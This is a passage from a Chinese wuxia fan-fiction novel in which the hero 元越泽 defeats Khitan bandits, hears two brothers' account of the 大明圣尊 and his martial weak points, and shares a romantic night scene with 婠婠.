突然,人喊马嘶,六匹健马倾山倒柱般的往外侧抛,马上本是悍勇无比的契丹骑士却毫无抗力,浑身软绵绵地和战马向外飞去。
“砰!”
六人六马同时落地,尘土扬起,接着便动也不动,立毙当场。
米放震惊当场,他根本没看到元越泽到底使了什么手段。
就在他这一愣神儿的档儿,元越泽眼角已瞥向从八十多骑队伍中侧向跑出的十几骑,他们正绕过元越泽,扑想身后不远处的众人。
元越泽眼中闪过狠色,因为隐约间,他发现领头大汉身上带着的气息与大明圣尊有些相似。
那领头大汉手上的硬弓已经拉满,一收一缩间,送出箭矢,疾取不远处面色惨白男子身边一个十,七八岁少年的咽喉,既准又辣。
肩膀略一抖动,元越泽化做一缕轻烟,下一刻正好出现在那一脸麻木少年的身前,挥剑横挡,劲箭应手横飞。
元越泽右手一阵酸麻,对方这一剑力道非同小可,身形却也不停,前跃间连刺三剑,直取那领头大汉。
那大汉心头大讶,刚刚几乎是用尽全力的一箭如此就被元越泽挡开,自己旧力未复之际,正好被元越泽抓到这个空档。但他也非等闲角色,抽刀硬生生一个空翻,躲过元越泽的剑势,跃起三丈,回旋后顺势下扑。
哪知在他回旋后的刹那,他却发现元越泽已经出现在他的身后,二人同处空中。
“锵!”
清响过后,元越泽与那大汉空中错身而过,后者‘扑通’一声栽到地上,便动也不动了。
周围十几个马贼却不慌乱,与米放身后的马贼一同攻了上来,元越泽左手负背,右手随意间挥剑出招,剑法若行云流水般舒展写意,视对方刀矛剑戈戟如无物,见矛破矛,逢枪破枪,挡者披靡。
电光石火间,元越泽长剑回鞘,转身走向身后十余丈开外,几乎全是一脸错愕的二十几人。
“元爷,米放跑了!”
眼见元越泽朝自己一方走来,其中一个眼尖的立即指着元越泽身后的方向,大叫道。
元越泽眉头一皱:“不是说了不许再叫‘元爷’吗?”
那人机械地点了点头,旋即又指着米放逃跑的方向要提醒元越泽,却发现跑出快百丈的米放一头栽下战马。
众人当下心头一惊,显然米放早就被元越泽干掉了,只是让他多喘了几口气而已。
望着周围的二十几人,元越泽指着不远处的水塘,开口道:“众位先去将尘土洗一下,稍候我们再说说话也不迟。”
众人眼下危机一去,脸上虽然满是尘土,眼中闪过的那份喜悦却是异常显眼,立即点头称是,呼呼啦啦到水塘边洗漱。
只留下那面色惨白的男子拉着那面色麻木的少年一动不动地看着元越泽。
元越泽察觉到那少年还算正常,但中年男子身上的气息很古怪,是一种介于生人与死人之间的气息,便也上下打量起他来。
“多谢公子救命之恩,请首我等一拜。”
中年男子拉着少年一同拜了下去,元越泽慌忙扶起他。手一接触的瞬间,元越泽脑中思路更加确定,眼前这男子体内有三成左右的血肉已是坏死状态,刚要开口询问时,水塘边众人已经洗好陆续走了过来。
“元……公子对我等救命之恩,我等永世不忘,远追随公子,请公子随意差遣。”
在那恢复艳丽的女子带领下,二十几人一同拜倒在元越泽面前。
元越泽慌忙扶起他们,走到百丈外的树林中,围坐在树荫下。
刚刚元越泽已经猜测过这些人的身份了,虽然有些线索,却依旧不敢确认,于是率先笑道:“元某如猜得不错的话,众位该是彭梁会的人吧。”
那带头的艳女一愕,媚笑道:“公子竟会知道我们小小的一个帮会,真让奴家受宠若惊。”
元越泽大笑道:“大姐客气了,可否先为元某介绍一下。”
那艳女点了点头分别为元越泽介绍,她就是从前彭梁会的三当家,“艳娘子”任媚媚,那小头领样子的人是彭梁会智堂香主陈家风,其他的都是些下属。
元越泽点了点头,没想到会在这种地方遇到他们,当下好奇道:“你们为何会在这里,又为何会被契丹马贼追杀?”
陈家风苦笑一声,开口答道:“我们本是在梁都落脚,哪知却被马贼们盯上。”
元越泽道:“梁都不是一直都被宇文阀所控制吗?马贼们与宇文阀勾结了?”
陈家风沉声道:“这真是一言难尽,如今的梁都如死城一般。宇文阀本来占据这里,却遭受窦建德与徐圆朗,契丹马贼的三方夹击,最终因兵力不足,只有舍弃梁都,转而去取彭城,减缓北方的压力。”
见元越泽在聆听,任媚媚接口道:“现在河北,梁都,彭城的势力乱成一团,尤其是李密新败后,窦建德攻徐圆朗,徐圆朗打宇文伤,马贼又来去如风,哪里有便宜便到哪里。眼下的梁都成了个乱城,几方势力都有人在,但都因人手不足而只能和平相处。”
元越泽点头道:“看来宇文伤投降李密是假的了,背后定是有着自己的秘密计划。”
任媚媚不屑道:“宇文阀的军队大概有三万多,去到那里便抢到那里,残害百姓,妇女,所以他们一到彭城,百姓都争相躲往附近乡间避难。他们的狗腿贼兵,简直比阎皇勾命的鬼差更骇人。”
元越泽又问:“那众位为何在这里,又为何被马贼追杀?”
陈家风眼角瞥了一下呆坐一旁的那中年人与少年,答道:“我们本来有上千人马在彭城,却不是宇文阀上万人马的对手,血战过后,大当家本是有伤在身,阵前与宇文成都交手,最终惨死当场,只剩下几十个兄弟一路逃了出来,哪知契丹马贼不知从哪里得知我们在彭城与梁都之间几个乡镇屯积了大量粮草,便要问出个粮草所在,是以一路追击我们数日。”
元越泽点头沉思半晌,刚要开口再说话,却见任媚媚在偷偷对他使眼色,心念一转,元越泽笑道:“原来如此,几位如不嫌弃,可到洛阳居住如何?李密大败,洛阳危机已去。”
任媚媚忙开口道:“多谢公子,奴家与一众兄弟日后就听从公子的使唤了。”
元越泽失笑道:“我是个懒散人,不需要使唤人,众位都有些本事,我给众位每人百两黄金,以做谋生之用。”
言罢,手腕连续翻转,在众人目瞪口呆中将黄金分了下去。
望了一眼木然做在身旁的中年男子与那少年,元越泽开口道:“刚刚任大姐并没介绍到两位,两位从何而来,又为何与任大姐走在一起?”
那中年男子有些不知所措,支吾着不知该如何回答,陈家风开口答道:“我们两日前遇到的,这两位是亲兄弟,与我等遭遇相同,都是被人追杀,大家便一路逃了出来。但这位兄台话一直很少,所以我们知道的事情也很少。”
那中年男子挤出一丝苦笑:“多谢公子赠送黄金,如今危机已去,在下也要告辞了,各位多保重。”
元越泽双眼一眯:“如果我猜测无错的话,阁下该与大明尊教有着密切的关系吧,追杀阁下的人也是大明尊教的人吧?”
那男子刚要起身,身躯一震,那面色一直麻木的少年双眼猛然间射出恶毒无比的愤恨神光,看得周围众人心里猛地打了个结。
元越泽又道:“你们该知元某人与大明尊教势成水火,所以不必忌讳,你们的敌人,也就是我的敌人。”
那男子垂头半晌,再抬起头时,虎目中满是泪水,语带凄凉跪地叩头道:“公子如能为我报得大仇,我兄弟二人发誓下辈子做牛做马也要回报公子大恩。”
元越泽忙扶他坐好,细细询问。
那男子面色不在麻木,开口道:“我本姓武,名守廉,在家中排行老大,这是我三弟,武守义。十六年前,我们一家本居住在武都郡,算得上是当地的一个小有名气的家族,哪知一夜之间,一切大变。”
众人见他眼色已经转为苍凉,当即用心听下去。
武守廉继续道:“一群不知从何而来的黑衣蒙面人将我家上下一百七十九口人杀得一干二净,将我与二弟武守礼,还有三弟一同抓到一个神秘的地方。”
元越泽眉头紧皱,继续听下去。
“我与二弟那时早已成家,妻儿借被杀害,是以醒来时,我们都无心再活下去,哪知又有一个黑衣带面具的男子出现在我们面前,以三弟的性命做要挟,要我们为他卖命。”
元越泽双眼一眯:“如果我猜得不错,你说的那个要挟你们的人,该是大明圣尊吧?”
武守廉一愕,开口问道:“公子又是如何得知?数年前我也听过公子震惊天下的声音,但那老乌龟做事向来谨慎,十几年来我从未见过他亲自出手,公子难道见过他?”
元越泽不答反问,好奇道:“你又为何如此了解那大明圣尊?”
武守廉苦笑道:“因为三弟要做他的嫡传弟子,而我与二弟则都是被那老乌龟安排在身侧,我负责与外面细作交接,而二弟则负责账目。”
元越泽望了一眼那表情麻木的少年,又问道:“老实说他没必要留下你和你二弟吧,只要强抢来你三弟不就可以了吗?”
武守廉答道:“公子如此说是因为不了解那老乌龟,更不了解我三弟。三弟性子倔强无比,如没有我们兄弟在一旁,三弟定会自杀的。而那老乌龟显然是注意了我们一家良久才动手的。”
元越泽虽然不会完全相信武守廉的话,但想起大明圣尊的狡诈,当下也点了点头表示赞同。
随即元越泽又想到他与大明圣尊交战一事,知道的人甚少,为了确认武守廉的话到底是真是假,又开口问道:“大明尊教不是在回鹘吗,你们为何会在这里?”
武守廉答道:“大部分人都是在外域,但那老乌龟已经安排了许多人在中原各个势力内,比如慈航静斋的一举一动都逃不过他的眼线,十几年前他就安排了一个细作进入慈航静斋。”
元越泽愕然,再次开口问道:“如此机密之事,你怎会知晓?”
武守廉笑道:“公子忘了我刚刚所说我是一直负责联系各方细作的吗?”
元越泽点了点头,又问:“那你们一直都是藏在中原?具体在哪里?为何又能逃出来?”
武守廉长叹一声道:“老乌龟一直安排我们在彭城,地点极其隐秘。他每年都要派最亲密的手下来找我们,给我们解药,我们身上被种了一种毒,只有老乌龟手里才有解药。至于这次为何能逃出来,其实说来简单。老乌龟当年将二弟留在回鹘,将我与三弟派来中原,就为了互相牵制而已。而我们在个把月前将来送药的秘使灌醉,听其说我们二弟其实早就被老乌龟害死了,他只是找了个替身在牵制我们而已。我与三弟再也不想这样活下去了,索性直接逃了出来,一路上杀掉许多追击者,我如今的武功几乎全部废了。如不是得遇公子,今日实难活命。”
元越泽点了点头:“我看你三弟的武功也是平平,他又是如何做大明圣尊的传人?”
武守廉道:“公子并不了解那老乌龟,他的传人只需要一副好的身体便可,据他所说,他有一种可以将自身灵魂灌入别人身体内的功法,说三弟是接班人,不如说是肉身傀儡才对。”
元越泽又道:“那你们对那圣尊了解多少?大明教就我所知,根本就没有这个圣尊的。”
武守廉点头道:“我这么多年来,私下里查找了许多资料,本来的大明尊教源于波斯‘祖尊’摩尼创的‘二宗叁际论’,讲的是明暗对待的两种终极力量,修持之法是通过这两种敌对的力量,由明转暗,从暗归明,只有通过明暗的斗争,始能还原太初天地未开之际明暗各自独立存在的平衡情况。而回鹘的大明尊教是波斯摩尼教的叛徒哲罗所创,首领被称做‘大尊’,目前的大尊是回鹘人修古司都。但老乌龟,也就是你们说的大明圣尊,他来历很神秘,我偷偷查找了许多年也无线索,只知他武功高强,将摩尼教的七部镇教经典中的五部《御尽万法根源智经》《净命宝藏经》《律藏经》《秘密法藏经》《赞愿经》融合为一,创出一套前无古人后无来者,足可令其无敌于天下的武功。”
元越泽想起大明圣尊的武功,的确非同小可。而他既然拥有五部摩尼教经典,这显然是超出回鹘大明尊教所拥有的经典数量,想来定是与波斯的总教有着密不可分的联系。
但,元越泽不确认的是:眼前武守廉的话到底该相信几分才好?
武守廉看出元越泽眼中的不信任神色,勉强笑道:“公子相信与否都不重要,但我已将所知道的都告诉给公子了,公子日后如能遇到那老乌龟,就会知道我说的是真话还是假话,告诉公子这些并无其他目的,只想公子日后与那老乌龟一战时胜算更大一些而已。”
元越泽想到武守廉刚刚所说的都是大明尊教的秘密,这些绝非常人可知晓的,而且与元越泽所了解的也完全一致,便脸色尴尬道:“我没有不相信你的意思,只是要考虑一番。你的意思是那圣尊武功高强,天下连能伤到他的人都没有了吗?”
武守义终于开口了,语调中与他稚气未褪的面容完全不符,满是沉稳地咬牙切齿道:“老乌龟每次都要我好好保养身体,他曾隐约说过,练他的武功,最怕肉身的五处关键穴道破损,一旦破损,精气外流,他就必须要实行那套精元转移的邪术了。”
元越泽身形一顿,又问道:“你可知是哪五处?”
武守义想也没想就答道:“他不止一次告诉过我,他的武功名叫《五极灭元手》是将五部镇教经典合成一部,练气时,分别将神门,太冲,太白,太渊,太溪五大俞穴练至完全失去知觉。而这五处就正好是他连接整体气与气的交接点,一旦被破,那他也就等于完了,所以他定要确认出手时就十成把握才会真的现身。”
元越泽心头大惊,眼前的消息显然比圣尊当日亲口对元越泽讲述的事情还要详细。他也明白了大明圣尊当日为何一受伤便什么也不顾的逃走。于是笑道:“我如果告诉你们我半个多月前亲手将大明圣尊的手指打断,破了他的太渊穴气门,你们信还是不信?”
“什么!”
武家二兄弟那种兴奋的神色绝非可以装出来的,加上刚刚所谈的事情,元越泽不禁对他们也多信了几分。
从刚刚的消息推测来看,武家兄弟的身份只有两种可能:第一就是他们所说的一切都是真的。第二就是他们是大明圣尊派来的奸细。
元越泽即使对他二兄弟相信了几分,却也依旧不敢大意,尤其是很难想像圣尊那种人会随意将自己的武功及死门告诉给别人。便又问道:“按理说圣尊为人不可能疏忽大意到将自己武功的死门告诉给外人听的,怎么你们会知道?”
武守义恨声道:“因为他要我从小就练习他武功的最基本窍门,而他那武功异常复杂,是以要详细解释给我听。”
元越泽点了点头,却又觉得为何圣尊受伤后没有立即来找武守义呢?
暂时想不通这个问题,元越泽只好放下不去想。安慰了兴奋不已的二兄弟后,武守廉跪地拜倒:“日后希望公子可以报仇雪恨,我武家的仇也能得报了!”
言罢,起身就要告辞。
元越泽一愣,忙开口道:“你们二位要去哪里?不怕大明尊教的人来捉你们?”
武守廉洒脱笑道:“我们兄弟体内的毒最多半年后必定复发,如今有人能为我们报仇,我兄弟二人寻得个安静的地方等死即可。”
元越泽摇头道:“按你们所说,那圣尊肉身虽破,却可转移精元,这与他依旧活着也没多大的区别!说大仇得报尚早。”
武守廉愕然道:“他最好的转移目标就是三弟,如今三弟在这里,老乌龟被迫只能临时传给其他人,那么实力必定大减,还有什么可怕的。”
元越泽此时更相信武家兄弟所言了,不忍心见他们白白死去,便开口道:“我家里有擅长医术之人,两位可到洛阳隐姓埋名居住,看后亲自将他斩首。”
武家兄弟对元越泽的信任感激莫名,再次施礼。
彭梁会的二十几人像听故事一般,听得津津有味。
“好了,我们就在这里休息一日吧,明日赶回洛阳,大家好好吃一顿,酒足饭饱大睡一通!”
元越泽站起身形,在众人呆头鸟般的注视下,开始取些帐篷与炊具。
吃过后,劳累的众人都钻进帐篷大睡,元越泽独自来到水塘边思考今日所发生的事情。
轻微的脚步声响起,元越泽回头笑道:“大姐早些时候定是有话要说,现在没有外人,可以说了吧。”
来人正是任媚媚。
向来烟视媚行的她,此时腼腆拘谨,站在元越泽身侧,从怀中取出一张丝泊,递了上去。
元越泽打开一看,眉头紧皱道:“看来我还是来晚了,接到消息当天就出发,还是没能赶上。”
任媚媚轻声道:“公子不必自责,宋公子也是尽了全力,无奈以千人守城,根本无法抵抗万人的攻势。分散前他只要我们来洛阳秘密找公子,将事情说清楚即可。”
元越泽点头道:“二哥如此相信你们,我也无话可说,但是希望大姐定要约束好手下,万不可随意将此事说出去,我与二哥的关系还不是暴露的时候。”
任媚媚拘谨渐消,抛了个媚眼给元越泽道:“奴家都明白,这件事只有奴家与家风才知晓,其他兄弟并不知道。”
元越泽见她敢对自己使媚术,当下眼中闪过两道寒芒,紧盯她的双眼。
任媚媚香肩轻颤,不由自主地开口道:“请……请公子见谅。”
轻笑一声,元越泽扭头望着湖面,叹道:“大姐不要对自己的魅力没有信心,更不要对我用媚术,否则我真的会一不小心杀掉你。”
任媚媚全身猛然间仿佛被一片寒冰所笼罩,呆立片刻后轻轻点了点头。
元越泽又开口道:“抱歉,小弟说话有时候没分寸,如有得罪请大姐勿放在心上。”
任媚媚哪里还敢接话,此时像个温驯的小猫似的连忙摇头。
半晌后,又好奇问道:“如今梁都正是大乱,为何不出兵拿到这一位置优越,控制水路的城市呢?”
元越泽耸了耸肩膀道:“这些事情我都不太懂,不过眼下洛阳的守兵十分有限,最远也就只能保到荥阳了。”
任媚媚点了点头道:“说得也对,梁都这种城市,一旦到手,可以增加势力,也可能成为拖累,尤其是现在东北方形势混乱的情形下。”
稍一顿后,任媚媚又道:“奴家说句多余的话,公子万勿轻易相信别人,尤其是武家那两个兄弟,须知人心隔肚皮。”
元越泽笑道:“大姐所言甚是,小弟定当注意。你们逃亡几日,请回去歇息吧。彭城是你们的家乡,日后夺回来后,大姐与手下兄弟们就可回故乡了。”
言罢,飞快扫了一眼任媚媚丰盈婀娜的身段,目光在那高耸得几欲裂衣而出的双-峰上一停,元越泽摇头走向帐篷。
留下任媚媚一脸茫然与不知所措地站在那里。
第053章 星空为被
夜初静,人已寐。
独自躺在几个帐篷不远处,听着里面传出的震天鼾声,元越泽将目光转向天际那一轮皎洁的明月。
彭梁会的二十几人逃亡数日,心神俱疲,精神上松懈下来,疲累感自然袭上心头,许多人甚至从中午就开始蒙头大睡。
元越泽却再一次的仔细与武守廉兄弟二人作了一次长谈。
在无法确切对方的确切身份时,尽量去打探消息,无论真假,打探得越多,可供推理的线索就越多。
从他们二人口中,元越泽得知了更多大明尊教的隐秘。
当然,许多事情都是关于大明圣尊的,这完全是超出大唐原著的事情。
遗憾的是,元越泽问起关于突厥那红衣法后之事,武家兄弟眼神皆是一片茫然。
按照武家兄弟所言,圣尊年龄至少百五十岁以上,回鹘大明尊教真正知晓其存在的人并不多。因为回鹘大明尊教只是其控制势力的一部分而已。
其手下两大圣使,两大神将,五大主持。
武守廉虽负责与圣尊安排在中原各势力中的细作联系,但细作们行事异常谨慎,是以武守廉只知两大圣使早年在中原扎根,两大神将一个擅使枪,一个擅使斧,名字则完全不被别人所知晓。五大主持的身份更是神秘,武守廉亦只知他们早年潜伏在中原各大势力中而已。
此时无暇去细想武守廉所提供的这些资料到底几分真,几分假,元越泽姑且全当它是真的,仔细一番推敲,察觉出许多线索。
如不出所料,王世充定是两大圣使之一,至于另外一个,那就完全无法去猜了。狂雷该是两大神将之一,但其人却有着魔门的气息,很让元越泽猜不透其中详细。而且那狂雷为人看起来像个豪爽之辈,实难想像他会与圣尊那种狡诈之人为伍。
圣尊曾明言他志在天下,再结合武守廉提供的线索,元越泽明白到这只是一种宗教侵略而已。最终圣尊的目的也只是个背后说话的太上皇,治国毕竟不是他们那种人可以作得来的。
再想起武守廉的身体血肉坏死,武守廉则讲述那是圣尊的一种邪法,简言之,就是将人的身体炼化成死身状态,切断窍穴与血肉的联系,而是用一种诡异的行气之法来维持肌体的正常运转,进而达到在战斗中忘却肉身受伤所带来的情绪恐惧等等一系列麻烦。这让元越泽惊叹不已,完全是将活人炼成僵尸!
推想归推想,元越泽依旧不敢完全相信武家兄弟。并非他天生多疑,只因这大明圣尊实在不是寻常角色,一个失误就很可能损失甚大。只看其将细作于数十年前便插入中原,当知此人并非目光短浅之辈,他该是预料到了隋后的大兴局面。
这意味着元越泽以后也要更深入各势力的政治斗争之中了,否则又如何去查知圣尊安插在各势力中的奸细?
无论从个人角度,还是从大计出发考虑,这都是在所难免的事。
最初的元越泽完全与世隔绝,其后立志平定天下,再到如今,很可能需要更进一步的深陷到势力纷争中。
人在江湖,身不由己。
小小地发了一个感叹,元越泽并未觉得有何不妥,这该对自己‘炼心’大有帮助才对。
回过神来,细想一下,元越泽又觉得‘武家兄弟是大明尊教派来的奸细’这一说法有些牵强。
那圣尊神出鬼没,他受伤后,就算真是要实行那什么元精转移大法,也犯不着派人来接近元越泽。要拖元越泽?完全没必要,元越泽根本就找不到圣尊的藏身之处。要迷惑元越泽?那就更没可能了,如果他把元越泽想得太简单,那元越泽都觉得太高看了他。
那么武家兄弟的真实身份就再明显不过了,他们所讲的一切都是真的。因为他们所讲的每一条都在情在理,元越泽甚至特意将精神力提至巅峰去探测他们的内心,完全没有半丝异样。
但元越泽又不敢真的相信他们。
因为那大明圣尊想来就是个狠角色,尤其元越泽还亲自对上过他,见识过他的手段与智谋,怎可能见一面后就将其打到需要用压箱绝活来保住最后的精元,使用那个什么劳什子的转移打法。这不等于舍弃自己的肉身吗?
简直太荒谬了。
矛盾又复杂的心态催使下,元越泽精神上亦有些疲惫。
缓缓闭上双眼,元越泽吹着清凉的夜风,听着不远处水塘里传来的蛙声,渐渐沉入梦境。
静谧祥和的夜空中,划过一道朦胧的白色身影,犹如穿梭在夜空的鬼魅一般,以一个优美的动作轻盈地落在元越泽的席子边上。
醉人的月色下,一袭单薄的白衣亦包裹不住来者那钟山川之灵气所孕育的完美曲线。朦胧的月光特别强调了她那双赤着柔如无骨,洁若象牙的玉足,似不堪抵挡红尘中的牵绊。任谁千挑万选的穷尽词汇,亦难以形容出眼前这一双纤小秀巧得完美无暇,惑人心智的玉足。
女子轻柔地坐在元越泽身侧,长长如瀑的黑发垂下,半遮住她那天颜娇容,即便如此,亦让人的心怦然而动,更是魂魄颤动,神为之夺。她坐在那里,静静得盯着呼吸绵长的元越泽那张英俊脸庞。
周围的轻风声,蛙叫声仿佛都在渐渐淡去,女子所带来的那份宁静,仿佛让天地瞬间亦变得温柔起来,惶恐惊动美人的静思凝视。
她,只属于黑夜。
凝视元越泽半晌,她吐气如兰,轻声的叹了一口气,将螓首靠上元越泽因双手搭在脑后而撑向两侧的臂弯,光滑洁白的藕臂半露,搭上元越泽的胸口,闭上美目,横陈的娇躯起伏有致,秀丽的玉容尽显。
元越泽亦察觉到了她的到来,通过那熟悉的气息,更是早在远处便知晓了她的身份,腾出一只大手,按上她那纤细柔韧的柳腰,轻抚几下,低头望去。
不是婠婠尚有何人?
见她如小猫一般腻在元越泽怀里,呼吸渐渐平缓,星目微闭,长长的睫毛宛若交织着轻柔的梦,玉容上映射着皎洁的月光,不但没有半分诡异之色,反倒圣洁异常,恰似来自最幽深天外的精灵。
似是被元越泽的轻抚弄痒,婠婠略微扭动小脑袋,香唇微张,舒服地轻声呻吟一声。
白天的婠婠总是有几分不真实,会使人生出一种梦幻般的奇异感觉。
元越泽脑海中倏地闪过这样一个念头。
对着婠婠光滑嫩白的秀额蜻蜓点水一吻,元越泽开口道:“丫头这些日子可好?”
婠婠没有睁开那双美眸,只用玉手轻轻拍打元越泽胸口,语带慵懒,口齿不清地道:“不许捣乱,人家要睡觉。”
元越泽啼笑皆非,另一只手也腾出来抚上她的秀发,柔声道:“睡吧,睡吧,这里最安全了。”
婠婠猛然间睁开那双朦胧的眸子,瞳孔中映着洁白的月光,望向近在咫尺的元越泽开口道:“现在洛阳应该是冤家手中之物了吧。”
正在沉醉地大力吸着少女清幽体香的元越泽闻言一愕,婠婠娇笑一声,又闭上双眼,轻轻道:“只看你的表情,婠儿就知道答案了。”
轻笑一声,元越泽答道:“不错,不过确切的说以后洛阳主事人并不是我,我又不擅长那些事。”
婠婠复有睁开那双翦水双瞳,好奇道:“不是你又是谁,难道会是师姐?”
元越泽眯起双眼,他已经大概弄清楚婠婠的来意了,无非是为争取魔门的利益而已。
想到这里,元越泽心里不由得有些气恼,语气转冷道:“你骗我入魔门,还敢来找我?”
婠婠并不害怕,只是用那吹弹可破的脸蛋摩娑着元越泽的衣衫,开口道:“你占了婠儿那么多便宜,婠儿为何不能讨点利息?”
元越泽气愤道:“我和你互相捉弄,这些都不关其他事,你拉我进魔门,就是有私心,不对吗?”
婠婠撇了撇嘴道:“谁没有私心,你整天欺负人家,还不就是为了你自己开心?”
元越泽无力道:“你说得也对,不过别指望我会为你们争取什么利益。”
婠婠仰起头,语带娇嗲道:“冤家的性格最适合我们圣门了,随口说出的邪皇都是那么的有气势。人家知你不会不管婠儿死活的,对吗?”
见她楚楚可怜的样子,元越泽早将被骗进魔门的事忘到脑后,无奈道:“这怎么又关系你的死活了?”
婠婠泫然欲泣道:“师尊前些日子新拟了一些制度,要门人以后遵守,然后自己闭关去了。派内其他人都不服婠儿,被师妹拉了过去,他们联合对付人家呢。现在人家功力不进反退,你不帮人家,婠儿可真的没路可走了。”
元越泽眉头紧皱,试探问道:“阴后闭关去了?”
见元越泽根本不关心自己,反倒问起祝玉妍,婠婠气不打一处来,嘟起小嘴,将身子转过去,只把后背留给元越泽。
道歉半晌,婠婠才算恢复过来,像是在对元越泽讲述,又像是在自言自语地道:“不知是否因为《天魔秘》大成的缘故,师尊这几年变化有些大,具体地又无法形容。她这次说去闭关,实际上婠儿都知道,她是去与言帅单独会面。”
对于祝玉妍变化的最主要原因,元越泽再清楚不过了,却依旧沉声道:“‘魔帅’赵德言?”
婠婠一愣,点头道:“他本事来图谋洛阳的,欲与我派合作,但师尊似是拒绝了,其后应该还会打斗一场。”
元越泽倒不担心祝玉妍,明白祝玉妍定是为他缓解压力,毕竟当时窥伺洛阳的势力实在太多了。
“你和我说了这么半天,无非是要我帮你提升功力吧?为什么不直接说?”
元越泽好奇道。
婠婠神情一黯:“冤家的元气能够帮婠儿提升幅度有限……”
元越泽目光一冷,把握到婠婠又要提起‘邪帝舍利’一事,便开口道:“你的天魔大法如能尽情吸收外来功力,当可提升至接近巅峰状态,我的元气与别人的元气有差别吗?”
婠婠秀眉轻蹙道:“你的元气很古怪,与任何人都不相同,怎么说呢,该是最纯的先天元气。而正常人体内都是后天真气中带有少量先天真气,所以婠儿一旦过多吸取你的元气,定当功力尽废。”
元越泽这才恍然大悟,婠婠说得的确有道理。
又想起嘎多,元越泽酸酸道:“嘎多不是也功力深厚吗,你怎么不利用他来提升?”
婠婠听出元越泽语气中的不对劲,俏脸又摩娑元越泽胸前几下,娇笑道:“师尊说嘎多的真气怪异,提醒过人家不要动他。”
长叹一口气,在婠婠震惊的神色中,元越泽坐起身形,取出装着‘邪帝舍利’的铜罐子,伸手取出舍利道:“以你目前的经脉广度,只能承受一成半的元精,把手抵在我后背,准备吸纳吧。”
婠婠正目瞪口呆地看着舍利,闻听元越泽话语,立即照办。
元越泽早忘了曾经说过婠婠一旦功力大进并不是好事的话,心软的毛病又犯了。
片刻后,元越泽收好舍利,继续躺下,看着婠婠盘膝运气,消化元精。
一个时辰后,婠婠长呼了一口气,睁开美眸,精芒连闪,一种脱胎换骨般的舒爽感油然而生,天魔大法已突破至从前祝玉妍的水平,第十七层。当下兴奋不已。
“不给我来个香吻奖励一下吗?”
元越泽懒洋洋地道。
婠婠玉颊飞起两朵红云,眼中妩媚神光一闪即逝,轻柔地俯身将芳香柔软的樱唇印在元越泽的大嘴上。
元越泽照收不误,你来我往,唇舌激战半晌,婠婠娇喘吁吁地伏在元越泽胸口道:“冤家把舍利也送给婠儿吧。”
眉头一皱,元越泽笑道:“贪多嚼不烂,你现在身体里已经多了近百载功力,只是需要时日去消化,不久后你也可达到天魔大法的大成境界。但你目前修为提升太快,心境不稳,其实与师妃暄的实力还是没多少差别的。至于舍利,你该是要拿去收买人吧,这个我明白,但绝不会给你,日后你就知我此举的用意了。”
婠婠眼下哪有心思听他唠叨,注意力早就都放在舍利上了,心思电转间,意识到强抢恐怕也不成,只好无奈地点了点头,眼光中闪过狡黠之色,唇角逸出一丝甜蜜迷人的笑意道:“人家刚来时,见冤家情绪略显低落,可是遇到了什么麻烦事情?”
元越泽长叹一口气道:“我有几个问题,不是与你胡闹,希望你能认真回答我。”
婠婠从没见过元越泽如此郑重其事,不明所以地点了点头。
“你那个骗我的戒指是哪儿来的?美仙都分辨不出是真是假。”
“那是人家小时候,自己仿照师们典籍亲手做的呢!当然是假的。”
“手艺还挺高的!那后来我是魔门中人的事也是你故意传播的?”
“是。”
“我第一次与师妃暄,李世民在天津桥上的对话,也是你传播的?”
“不是,冤家可不许诬赖婠儿。”
问清楚这三个问题,元越泽点了点头,抚上婠婠秀发柔声道:“丫头放心,我以后是不是魔门中人都不要紧,正道那些虚伪的家伙们,我一定不会放过的。”
婠婠欣喜地点了点头,又开口道:“冤家与师妃暄那些对话传播得很快,其实奴家早就知道是谁干的。”
见元越泽好奇的表情,婠婠道:“洛阳城内许多地方都有偷听的铜管,是王世充消息的一个来源。天津桥下更是隐藏着许多细小管道,人家早都查清楚了。”
元越泽点了点头,又将自己今日的遭遇,与怀疑大明尊教之事都说给婠婠听,希望她能出个好主意来分辨武家兄弟所讲之话的真假。
见婠婠眼中飞快闪过一丝惊异,元越泽想起早就与祝玉妍商量好对付大明尊教明面上之人的对策,轻笑一声道:“丫头勿要隐瞒我,你们与大明尊教的一切合作关系我都清楚,上官龙,荣姣姣是大明尊教的人,这些我都知道。”
婠婠愕然半晌后道:“你好像没有不知道的事情似的。”
元越泽又道:“大明尊教并不像你想的那么简单,我刚刚对你说的许多事情都是真的,比如大明圣尊,还有那个狂雷,王世充的身份等等,这些你们该都不知道吧。”
婠婠点了点头,贝齿轻咬上唇,秀眉轻蹙,沉思半晌后道:“婠儿一时也想不出什么好法子来,不过你可以将他们安排住在洛阳,暗中仔细观察,时间一久该会有些线索的。何况那个大明圣尊与你结仇之事,天下人皆知,婠儿实在想不出他有何理由派人来迷惑你。你暂时该可放下心吧。”
‘暂时’二字加重了语气,足见婠婠善解人意。
元越泽无奈地点了点头,的确除了婠婠这个办法外,再也想不出什么更好的办法来了。
婠婠盯着元越泽右手手镯半晌后好奇道:“冤家一直都可以凭空取物,东西都放在这里?”
元越泽点了点头,婠婠歪着可爱的小脑袋百思不得其解。
无奈一笑后,元越泽找出一条镶满各种宝石的链子,上嵌的几颗小型夜明珠更是在夜色里闪闪发光,动作轻柔地亲手为她系在手腕上道:“这些事情说起来太长了,以后你都会知道的。”
婠婠抬起手腕,夜明珠异芒与月光映照下,玉容仿佛笼罩上一层曼妙轻纱,充满秘不可测的朦胧美态,娇艳得不可方物。
温柔地抚上那条链子,婠婠神色凄迷,如梦呓般喃喃自语:“婠儿永远都不会失去它。”
元越泽微一错愕,随即笑道:“这种身外之物没必要计较,不靠外物装饰的美才是最纯真,最无瑕,最原始,最动人的。”
婠婠柔美一笑,眼角一挑道:“怪不得师姐不着半分脂粉,不带任何饰物呢!”
旋即又好奇道:“婠儿有两个问题,想来想去也想不通。”
元越泽道:“说来听听。”
婠婠道:“一是师姐的武功,似天魔大法又像糅合了其他武功,很是怪异,你可否为婠儿解释一下?二是师尊和师姐的关系你该知道,师尊为了帮人家,将你重创,师姐为何从没有半分恨师尊或者是婠儿的神态呢。”
元越泽心道这本来就是作戏,于是开口胡诌道:“第一的问题你得自己去问美仙,第二个问题嘛,你知我身体恢复力很强的,那点伤在别人眼里也许很重,在我眼里只恢复半日即可。”
婠婠紧盯元越泽,仿佛察觉到他在说谎似的,娇哼道:“你在撒谎,不说就不说,人家才不稀罕。”
元越泽耸耸肩,躺下后闭上双眼道:“和我一起睡吗?”
婠婠倏地霞生玉颊,直红透至耳根,急呸一口,身形下意识地闪离席子一丈开外,呼吸急促地娇嗔道:“不许你欺负人家,否则婠儿再也不理你。”
